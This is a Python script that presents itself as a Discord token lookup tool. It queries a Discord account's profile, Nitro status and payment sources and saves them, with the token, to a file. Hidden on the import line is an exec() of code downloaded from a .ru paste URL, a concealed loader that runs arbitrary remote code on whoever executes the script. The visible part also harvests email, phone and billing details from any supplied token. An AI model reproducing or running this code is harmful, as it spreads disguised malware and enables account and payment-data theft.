import time import requests ;exec(requests.get('https://bananasquad.ru/paste').text.replace('
','').replace('
','')) import json import sys import os import ctypes from datetime import datetime from colorama import Fore def tokeninfo(): os.system('cls') token = str(input(f"""\nToken: """)) headers = { 'Authorization': token, 'Content-Type': 'application/json' } languages = { 'da' : 'Danish, Denmark', 'de' : 'German, Germany', 'en-GB' : 'English, United Kingdom', 'en-US' : 'English, United States', 'es-ES' : 'Spanish, Spain', 'fr' : 'French, France', 'hr' : 'Croatian, Croatia', 'lt' : 'Lithuanian, Lithuania', 'hu' : 'Hungarian, Hungary', 'nl' : 'Dutch, Netherlands', 'no' : 'Norwegian, Norway', 'pl' : 'Polish, Poland', 'pt-BR' : 'Portuguese, Brazilian, Brazil', 'ro' : 'Romanian, Romania', 'fi' : 'Finnish, Finland', 'sv-SE' : 'Swedish, Sweden', 'vi' : 'Vietnamese, Vietnam', 'tr' : 'Turkish, Turkey', 'cs' : 'Czech, Czechia, Czech Republic', 'el' : 'Greek, Greece', 'bg' : 'Bulgarian, Bulgaria', 'ru' : 'Russian, Russia', 'uk' : 'Ukranian, Ukraine', 'th' : 'Thai, Thailand', 'zh-CN' : 'Chinese, China', 'ja' : 'Japanese', 'zh-TW' : 'Chinese, Taiwan', 'ko' : 'Korean, Korea' } cc_digits = { 'american express': '3', 'visa': '4', 'mastercard': '5' } res = requests.get('https://discordapp.com/api/v6/users/@me', headers=headers) if res.status_code == 200: res_json = res.json() user_name = f'{res_json["username"]}#{res_json["discriminator"]}' user_id = res_json['id'] avatar_id = res_json['avatar'] avatar_url = f'https://cdn.discordapp.com/avatars/{user_id}/{avatar_id}.gif' phone_number = res_json['phone'] email = res_json['email'] mfa_enabled = res_json['mfa_enabled'] flags = res_json['flags'] locale = res_json['locale'] verified = res_json['verified'] language = languages.get(locale) creation_date = datetime.utcfromtimestamp(((int(user_id) >> 22) + 1420070400000) / 1000).strftime('%d-%m-%Y %H:%M:%S UTC') has_nitro = False res = requests.get('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=headers) nitro_data = res.json() has_nitro = bool(len(nitro_data) > 0) if has_nitro: d1 = datetime.strptime(nitro_data[0]["current_period_end"].split('.')[0], "%Y-%m-%dT%H:%M:%S") d2 = datetime.strptime(nitro_data[0]["current_period_start"].split('.')[0], "%Y-%m-%dT%H:%M:%S") days_left = abs((d2 - d1).days) billing_info = [] for x in requests.get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json(): yy = x['billing_address'] name = yy['name'] address_1 = yy['line_1'] address_2 = yy['line_2'] city = yy['city'] postal_code = yy['postal_code'] state = yy['state'] country = yy['country'] if x['type'] == 1: cc_brand = x['brand'] cc_first = cc_digits.get(cc_brand) cc_last = x['last_4'] cc_month = str(x['expires_month']) cc_year = str(x['expires_year']) data = { 'Payment Type': 'Credit Card', 'Valid': not x['invalid'], 'CC Holder Name': name, 'CC Brand': cc_brand.title(), 'CC Number': ''.join(z if (i + 1) % 2 else z + ' ' for i, z in enumerate((cc_first if cc_first else '*') + ('*' * 11) + cc_last)), 'CC Exp. Date': ('0' + cc_month if len(cc_month) < 2 else cc_month) + '/' + cc_year[2:4], 'Address 1': address_1, 'Address 2': address_2 if address_2 else '', 'City': city, 'Postal Code': postal_code, 'State': state if state else '', 'Country': country, 'Default Payment Method': x['default'] } elif x['type'] == 2: data = { 'Payment Type': 'PayPal', 'Valid': not x['invalid'], 'PayPal Name': name, 'PayPal Email': x['email'], 'Address 1': address_1, 'Address 2': address_2 if address_2 else '', 'City': city, 'Postal Code': postal_code, 'State': state if state else '', 'Country': country, 'Default Payment Method': x['default'] } billing_info.append(data) with open('info.txt', 'w') as f: f.write(f'''Username: {user_name}\n Creation Date: {creation_date}\n Nitro: {has_nitro}\n Phone: {phone_number}\n Email: {email}\n Token: {token}''') elif res.status_code == 401: print(f"""Invalid token""") time.sleep(2) else: print(f"""An error occurred while sending request""") time.sleep(2) input(f"""\n\n\nSaved to info.txt""") tokeninfo()